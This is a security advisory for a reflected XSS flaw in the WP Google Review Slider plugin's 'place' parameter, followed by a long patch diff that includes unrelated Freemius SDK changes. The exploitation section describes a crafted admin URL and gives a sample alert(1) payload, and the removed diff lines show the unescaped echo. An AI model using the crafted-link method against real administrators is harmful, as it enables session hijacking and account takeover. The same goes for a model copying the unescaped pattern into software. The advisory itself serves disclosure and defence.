Published : July 3, 2026

CVE-2026-13015: WP Google Review Slider <= 18.1 Reflected Cross-Site Scripting via 'place' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 18.1
Patched Version 18.2
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13015:
Reflected Cross-Site Scripting vulnerability in the WP Google Review Slider plugin (versions up to 18.1) affecting the admin page component responsible for handling Google Place crawls. This allows unauthenticated attackers to inject arbitrary scripts via the ‘place’ GET parameter, with a CVSS score of 6.1.

Root Cause:
The vulnerability exists in `/wp-google-places-review-slider/admin/partials/googlecrawl_dfs.php`. When the `$_GET[‘place’]` parameter is supplied and its value does not match an existing key in the `wprev_google_crawls` option, the value is URL-decoded via `urldecode()` and passed through `stripslashes()` before being directly echoed into an HTML input element’s value attribute (line 109 of vulnerable version). No output escaping function such as `esc_attr()` is applied. The vulnerable output occurs on the code path where the ‘place’ value is assigned to `$savedplaceid` and subsequently printed inside the `value=”…”` attribute of the input field with id ‘gplaceid’.

Exploitation:
An attacker crafts a malicious link targeting a WordPress admin user. The link points to the WordPress admin area URL `/wp-admin/admin.php?page=wp-google-places-review-slider-admin&tab=googlecrawl&place=PAYLOAD`. The PAYLOAD is a JavaScript payload such as `”>alert(1)`. The attacker must trick a logged-in administrator into clicking this crafted link. When the admin visits the page, the script executes in the context of the admin’s session, allowing the attacker to perform administrative actions or exfiltrate sensitive data.

Patch Analysis:
The patch modifies `googlecrawl_dfs.php` to sanitize the `$_GET[‘place’]` input using `sanitize_text_field()` and `wp_unslash()`, and wraps the echoed value in `esc_attr()`. Specifically, line 19 changes from `$currentplace = urldecode($_GET[‘place’]);` to `$currentplace = sanitize_text_field( wp_unslash( urldecode( $_GET[‘place’] ) ) );`. Additionally, the patch applies `esc_attr()` to the `$savedplaceid` variable on line 109 and to the `$editplace` variable used in data attributes on lines 146 and 153. These changes neutralize script injection by stripping HTML tags and properly encoding special characters for HTML attribute contexts.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of a logged-in WordPress administrator. This can lead to session hijacking, administrative account takeover, creation of new admin users, modification of plugin settings, injection of malicious content into the site, or theft of sensitive information such as cookies and authentication tokens.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-google-places-review-slider/admin/partials/googlecrawl.php
+++ b/wp-google-places-review-slider/admin/partials/googlecrawl.php
@@ -64,8 +64,8 @@
     <button id="savetest" data-editplace="<?php echo urlencode($editplace); ?>" type="button" class="w3-btn w3-padding-small2 w3-green w3-small" style="width:120px">Save & Test   ❯</button><div id="buttonloader" style="display:none;" class="wprevloader"></div>
   </div>
   <div class="w3-padding-small"><span class="wprevdescription">
-  <?php _e('Need help finding your', 'wp-google-reviews'); ?><a href="https://ljapps.com/wp-content/uploads/2021/08/google_search_terms.mp4" target="_blank" style="text-decoration: none;">
-<?php _e('Google Search Terms', 'wp-google-reviews'); ?></a> <?php _e('or', 'wp-google-reviews'); ?> <a href="https://ljapps.com/two-methods-to-find-your-google-place-id/" target="_blank" style="text-decoration: none;">
+  <?php _e('Need help finding your', 'wp-google-reviews'); ?> <a href="https://ljapps.com/wp-content/uploads/2021/08/google_search_terms.mp4" target="_blank">
+<?php _e('Google Search Terms', 'wp-google-reviews'); ?></a> <?php _e('or', 'wp-google-reviews'); ?> <a href="https://ljapps.com/two-methods-to-find-your-google-place-id/" target="_blank">
 <?php _e('Place ID?', 'wp-google-reviews'); ?></a></span>
 </div>
 </div>
--- a/wp-google-places-review-slider/admin/partials/googlecrawl_dfs.php
+++ b/wp-google-places-review-slider/admin/partials/googlecrawl_dfs.php
@@ -18,14 +18,14 @@
     }

 	$currentplace = "";
-	if(isset($_GET['place'])){
-		$currentplace = urldecode($_GET['place']);
+	if ( isset( $_GET['place'] ) ) {
+		$currentplace = sanitize_text_field( wp_unslash( urldecode( $_GET['place'] ) ) );
 	}
 	$editid="";
 	$editplace ="";
-	if(isset($_GET['ract']) && $_GET['ract']=="edit"){
+	if ( isset( $_GET['ract'] ) && 'edit' === sanitize_text_field( wp_unslash( $_GET['ract'] ) ) ) {
 		$editidedit="edit";
-		$editplace = urldecode($_GET['place']);
+		$editplace = $currentplace;
 	}

 $googlecrawlsarray = Array();
@@ -106,12 +106,12 @@
     <h4>Google Search Terms or Place ID:</h4>
   </div>
   <div class=" w3-cell w3-cell-middle w3-padding-small">
-    <input id="gplaceid" style="width: 300px;" value="<?php echo stripslashes($savedplaceid); ?>" class="w3-input w3-border w3-round" type="text" placeholder="e.g.: ChIJOUW7JL0RYogRgDxol-LP_sU">
+    <input id="gplaceid" style="width: 300px;" value="<?php echo esc_attr( stripslashes( $savedplaceid ) ); ?>" class="w3-input w3-border w3-round" type="text" placeholder="e.g.: ChIJOUW7JL0RYogRgDxol-LP_sU">
   </div>

   <div class="w3-padding-small"><span class="wprevdescription">
-  <?php _e('Need help finding your', 'wp-google-reviews'); ?><a href="https://ljapps.com/wp-content/uploads/2021/08/google_search_terms.mp4" target="_blank" style="text-decoration: none;">
-<?php _e('Google Search Terms', 'wp-google-reviews'); ?></a> <?php _e('or', 'wp-google-reviews'); ?> <a href="https://ljapps.com/two-methods-to-find-your-google-place-id/" target="_blank" style="text-decoration: none;">
+  <?php _e('Need help finding your', 'wp-google-reviews'); ?> <a href="https://ljapps.com/wp-content/uploads/2021/08/google_search_terms.mp4" target="_blank">
+<?php _e('Google Search Terms', 'wp-google-reviews'); ?></a> <?php _e('or', 'wp-google-reviews'); ?> <a href="https://ljapps.com/two-methods-to-find-your-google-place-id/" target="_blank">
 <?php _e('Place ID?', 'wp-google-reviews'); ?></a></span>
 </div>

@@ -143,12 +143,12 @@
 			<i class="fa fa-download"></i> Download Completed Task
 		</button>

-		<button id="savetest" data-editplace="<?php echo urlencode($editplace); ?>" type="button" class="w3-btn w3-padding-small2 w3-orange w3-small" style="width:150px">
+		<button id="savetest" data-editplace="<?php echo esc_attr( $editplace ); ?>" type="button" class="w3-btn w3-padding-small2 w3-orange w3-small" style="width:150px">
 			<i class="fa fa-refresh"></i> Submit New Task
 		</button>
 	<?php else: ?>
 		<!-- Show normal submit button for new tasks -->
-		<button id="savetest" data-editplace="<?php echo urlencode($editplace); ?>" type="button" class="w3-btn w3-padding-small2 w3-green w3-small" style="width:120px">Submit Task  ❯</button>
+		<button id="savetest" data-editplace="<?php echo esc_attr( $editplace ); ?>" type="button" class="w3-btn w3-padding-small2 w3-green w3-small" style="width:120px">Submit Task  ❯</button>
 	<?php endif; ?>
 	<div id="buttonloader" style="display: none;margin: 10px 0;" class="wprevloader w3-row-padding"></div>
   </div>
--- a/wp-google-places-review-slider/freemius/includes/class-freemius.php
+++ b/wp-google-places-review-slider/freemius/includes/class-freemius.php
@@ -3629,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3637,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4494,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -6559,10 +6558,7 @@
             $next_schedule = $this->next_sync_cron();

             // The event is properly scheduled, so no need to reschedule it.
-            if (
-                is_numeric( $next_schedule ) &&
-                $next_schedule > time()
-            ) {
+            if ( is_numeric( $next_schedule ) ) {
                 return;
             }

@@ -7099,7 +7095,6 @@
          */
         function _enqueue_connect_essentials() {
             wp_enqueue_script( 'jquery' );
-            wp_enqueue_script( 'json2' );

             fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.js' );
             fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' );
@@ -7659,7 +7654,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7723,7 +7725,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7777,7 +7781,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7949,7 +7953,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8830,8 +8835,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11576,7 +11586,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11738,10 +11748,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12385,7 +12395,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13485,7 +13495,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13634,6 +13645,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13648,7 +13660,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13659,7 +13672,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13733,9 +13750,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13750,9 +13768,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13841,10 +13860,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13920,7 +13939,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -14009,6 +14030,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -15630,7 +15655,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15757,6 +15782,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15816,6 +15845,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -16936,14 +16968,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16954,9 +16985,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16972,6 +17000,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -17051,6 +17094,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -17065,15 +17109,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17083,6 +17123,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17097,15 +17142,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17116,7 +17168,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -17380,7 +17432,7 @@
                 FS_User_Lock::instance()->unlock();
             }

-            if ( 1 < count( $installs ) ) {
+            if ( 1 < count( $installs ) || fs_is_network_admin() ) {
                 // Only network level opt-in can have more than one install.
                 $is_network_level_opt_in = true;
             }
@@ -17601,6 +17653,31 @@
         /**
          * Install plugin with new user.
          *
+         * You can use this method to sync activation with the Freemius WP SDK where the activation happened outside of the regular opt-in flow, for example if you're using an external licensing server with our api:
+         *
+         * https://docs.freemius.com/api/licenses/activate
+         *
+         * In that case you can call this method like following:
+         *
+         * ```
+         *
+         * my_fs()->install_with_new_user(
+         *     $result['user_id'],
+         *     $result['user_public_key'],
+         *     $result['user_secret_key'],
+         *     $result['is_marketing_allowed'],
+         *     null,
+         *     true,
+         *     $result['install_id'],
+         *     $result['install_public_key'],
+         *     $result['install_secret_key'],
+         *     false
+         * );
+         *
+         * ```
+         *
+         * Here `$result` represents the object returned by the API endpoint.
+         *
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.4
          *
@@ -17618,7 +17695,7 @@
          *
          * @return string If redirect is `false`, returns the next page the user should be redirected to.
          */
-        private function install_with_new_user(
+        public function install_with_new_user(
             $user_id,
             $user_public_key,
             $user_secret_key,
@@ -18112,7 +18189,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18745,7 +18822,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18753,6 +18830,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19708,7 +19787,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20561,11 +20640,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20598,19 +20684,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          *
          * @return bool|FS_Plugin_Tag
          */
-        function get_update( $plugin_id = false, $flush = true, $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION, $newer_than = false ) {
+        function get_update( $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

             if ( ! is_numeric( $plugin_id ) ) {
                 $plugin_id = $this->_plugin->id;
             }

-            $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than );
+            $this->check_updates( true, $plugin_id, $flush );
+
             $updates = $this->get_all_updates();

             return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false;
@@ -21548,7 +21633,14 @@
                         false,
                         false,
                         false,
-                        $premium_license->secret_key
+                        $premium_license->secret_key,
+                        false,
+                        false,
+                        false,
+                        null,
+                        array(),
+                        true,
+                        $premium_license->user_id
                     );

                     return;
@@ -21600,6 +21692,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21679,6 +21773,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21699,6 +21795,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
@@ -22060,6 +22158,7 @@
          * @param int         $expiration   Since 1.2.2.7
          * @param bool|string $newer_than   Since 2.2.1
          * @param bool|string $fetch_readme Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false Plugin latest tag info.
          */
@@ -22068,7 +22167,8 @@
             $flush = true,
             $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
             $newer_than = false,
-            $fetch_readme = true
+            $fetch_readme = true,
+            $fetch_upgrade_notice = false
         ) {
             $this->_logger->entrance();

@@ -22141,6 +22241,10 @@
                 $expiration = null;
             }

+            if ( true === $fetch_upgrade_notice ) {
+                $latest_version_endpoint = add_query_arg( 'include_upgrade_notice', 'true', $latest_version_endpoint );
+            }
+
             $tag = $this->get_api_site_or_plugin_scope()->get(
                 $latest_version_endpoint,
                 $flush,
@@ -22286,20 +22390,20 @@
          *                                was initiated by the admin.
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          */
-        private function check_updates(
-            $background = false,
-            $plugin_id = false,
-            $flush = true,
-            $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-            $newer_than = false
-        ) {
+        private function check_updates( $background = false, $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

+            $newer_than = ( $this->is_premium() ? $this->get_plugin_version() : false );
+
             // Check if there's a newer version for download.
-            $new_version = $this->_fetch_newer_version( $plugin_id, $flush, $expiration, $newer_than );
+            $new_version = $this->_fetch_newer_version(
+                $plugin_id,
+                $flush,
+                FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
+                $newer_than,
+                ( false !== $newer_than )
+            );

             $update = null;
             if ( is_object( $new_version ) ) {
@@ -23444,7 +23548,7 @@
                         $params['plugin_public_key'] = $this->get_public_key();
                     }

-                    $result = $api->get( 'pricing.json?' . http_build_query( $params ) );
+                    $result = $api->get( $this->add_show_pending( 'pricing.json?' . http_build_query( $params ) ) );
                     break;
                 case 'start_trial':
                     $trial_plan_id = fs_request_get( 'plan_id' );
@@ -24625,23 +24729,39 @@
                     $this->get_premium_slug() :
                     $this->premium_plugin_basename();

-                return sprintf(
-                /* translators: %1$s: Product title; %2$s: Plan title */
-                    $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s', 'activate-premium-version' ),
-                    sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
-                    $plan_title,
-                    sprintf(
-                        '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
-                        ( $this->is_theme() ?
-                            wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
-                            wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
-                        esc_html( sprintf(
-                        /* translators: %s: Plan title */
-                            $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
-                            $plan_title
-                        ) )
-                    )
-                );
+                if ( is_admin() ) {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %2$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting from the %2$s features. %3$s', 'activate-premium-version' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        $plan_title,
+                        sprintf(
+                            '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
+                            ( $this->is_theme() ?
+                                wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
+                                wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
+                            esc_html( sprintf(
+                            /* translators: %s: Plan title */
+                                $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
+                                $plan_title
+                            ) )
+                        )
+                    );
+                } else {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %3$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please navigate to the %2$s to activate it and start benefiting from the %3$s features.', 'activate-premium-version-plugins-page' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        sprintf(
+                            '<a href="%s">%s</a>',
+                            admin_url( $this->is_theme() ? 'themes.php' : 'plugins.php' ),
+                            ( $this->is_theme() ?
+                                $this->get_text_inline( 'Themes page', 'themes-page' ) :
+                                $this->get_text_inline( 'Plugins page', 'plugins-page' ) )
+                        ),
+                        $plan_title
+                    );
+                }
             } else {
                 // @since 1.2.1.5 The free version is auto deactivated.
                 $deactivation_step = version_compare( $this->version, '1.2.1.5', '<' ) ?
--- a/wp-google-places-review-slider/freemius/includes/class-fs-hook-snapshot.php
+++ b/wp-google-places-review-slider/freemius/includes/class-fs-hook-snapshot.php
@@ -0,0 +1,45 @@
+<?php
+	/**
+	 * @package   Freemius
+	 * @copyright Copyright (c) 2025, Freemius, Inc.
+	 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since     2.12.2
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	/**
+	 * Class FS_Hook_Snapshot
+	 *
+	 * This class allows you to take a snapshot of the current actions attached to a WordPress hook, remove them, and restore them later.
+	 */
+	class FS_Hook_Snapshot {
+
+		private $removed_actions = array();
+
+		/**
+		 * Remove all actions from a given hook and store them for later restoration.
+		 */
+		public function remove( $hook ) {
+			global $wp_filter;
+
+			if ( ! empty( $wp_filter ) && isset( $wp_filter[ $hook ] ) ) {
+				$this->removed_actions[ $hook ] = $wp_filter[ $hook ];
+				unset( $wp_filter[ $hook ] );
+			}
+		}
+
+		/**
+		 * Restore previously removed actions for a given hook.
+		 */
+		public function restore( $hook ) {
+			global $wp_filter;
+
